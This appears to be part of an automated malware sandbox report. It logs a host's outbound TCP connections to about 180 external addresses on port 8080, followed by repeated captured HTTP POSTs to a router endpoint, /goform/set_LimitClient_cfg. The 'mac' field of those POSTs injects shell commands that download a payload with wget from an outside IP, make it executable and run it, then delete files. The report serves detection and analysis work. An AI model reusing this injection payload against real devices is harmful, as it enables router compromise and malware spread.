Source: global traffic TCP traffic: 192.168.2.15:42072 -> 129.127.240.37:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 88.116.64.84:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 113.194.196.78:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 20.21.194.124:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 108.118.134.18:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 173.149.99.148:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 95.146.255.179:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 173.192.65.64:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 73.53.31.249:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 18.147.113.25:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 137.180.131.70:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 188.130.13.151:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 80.210.187.241:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 94.46.167.95:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 61.149.47.131:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 207.85.18.63:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 108.91.135.27:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 165.6.169.113:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 152.88.175.213:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 14.119.175.137:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 18.185.28.167:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 53.210.13.112:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 37.56.255.248:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 145.211.71.13:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 180.131.176.237:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 85.182.76.81:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 108.197.56.38:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 196.249.30.58:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 167.127.207.178:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 104.199.65.152:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 163.147.33.138:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 185.38.252.163:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 63.120.63.24:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 63.162.30.222:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 59.113.21.79:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 90.183.20.131:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 62.99.34.189:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 85.47.223.137:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 176.129.112.27:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 94.76.170.127:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 110.3.191.127:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 14.193.111.223:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 143.236.212.149:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 109.213.35.7:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 43.201.208.85:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 98.133.27.197:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 115.183.51.125:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 78.241.184.244:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 151.112.49.120:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 66.33.97.123:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 58.20.150.73:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 42.166.133.108:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 79.145.97.40:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 42.134.68.123:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 129.11.203.223:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 220.73.16.251:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 9.48.96.121:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 143.198.13.118:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 179.164.211.113:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 58.217.47.217:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 123.97.199.116:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 151.70.246.135:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 165.136.164.205:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 103.247.248.159:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 24.242.75.153:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 205.114.36.29:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 145.1.138.181:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 73.180.184.210:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 129.165.68.109:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 163.123.48.87:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 25.60.204.42:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 58.131.228.42:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 43.127.78.242:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 139.173.193.228:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 53.89.151.70:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 50.249.122.195:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 159.252.129.119:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 54.91.143.93:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 175.161.38.69:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 109.1.198.232:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 115.226.161.75:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 83.75.87.225:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 14.145.73.226:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 130.60.231.182:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 39.1.161.176:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 151.80.162.185:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 204.62.232.185:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 140.42.125.166:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 71.153.248.103:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 80.116.230.114:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 35.75.9.126:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 164.80.208.75:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 153.35.112.95:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 86.227.52.39:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 67.16.209.251:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 209.47.216.95:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 190.74.226.84:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 91.44.191.239:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 195.197.187.251:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 35.103.118.180:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 208.208.173.15:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 14.45.177.49:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 47.183.233.158:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 156.245.155.202:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 60.151.168.44:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 47.135.5.98:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 44.110.202.17:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 96.112.27.24:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 119.160.211.22:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 20.37.107.89:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 194.15.38.76:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 155.156.22.196:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 164.220.132.158:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 187.75.112.91:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 108.87.88.211:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 119.214.238.109:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 146.238.42.92:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 126.153.237.2:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 140.213.233.13:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 182.153.88.109:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 82.115.78.103:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 208.49.109.6:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 165.211.85.169:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 173.50.35.241:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 68.79.63.160:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 174.173.245.250:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 125.139.97.18:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 199.235.81.72:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 62.242.211.9:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 129.223.89.131:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 69.214.253.138:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 39.61.227.201:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 164.30.132.72:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 169.225.122.38:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 204.64.251.164:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 122.202.143.136:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 89.233.209.109:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 165.213.177.113:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 207.153.105.60:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 31.101.123.182:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 75.139.10.180:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 67.206.106.238:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 73.101.1.154:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 75.102.73.136:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 180.239.188.239:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 195.58.253.104:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 14.58.207.5:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 185.220.87.194:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 68.129.82.79:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 27.146.214.26:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 20.238.226.188:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 37.40.193.21:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 88.120.11.29:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 124.98.170.131:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 194.185.138.255:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 162.106.224.201:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 126.169.27.230:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 101.31.16.20:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 112.71.237.230:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 211.167.162.109:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 194.8.29.56:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 163.158.248.25:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 184.136.122.119:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 203.240.123.135:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 109.174.78.248:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 31.76.26.48:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 52.146.196.46:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 199.33.104.79:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 23.206.106.152:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 58.182.103.223:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 57.188.39.199:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 126.192.23.223:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 60.231.228.6:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 156.40.237.223:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 128.253.30.28:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 44.32.142.214:8080
Source: global traffic TCP traffic: 192.168.2.15:42072 -> 190.222.71.9:8080
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
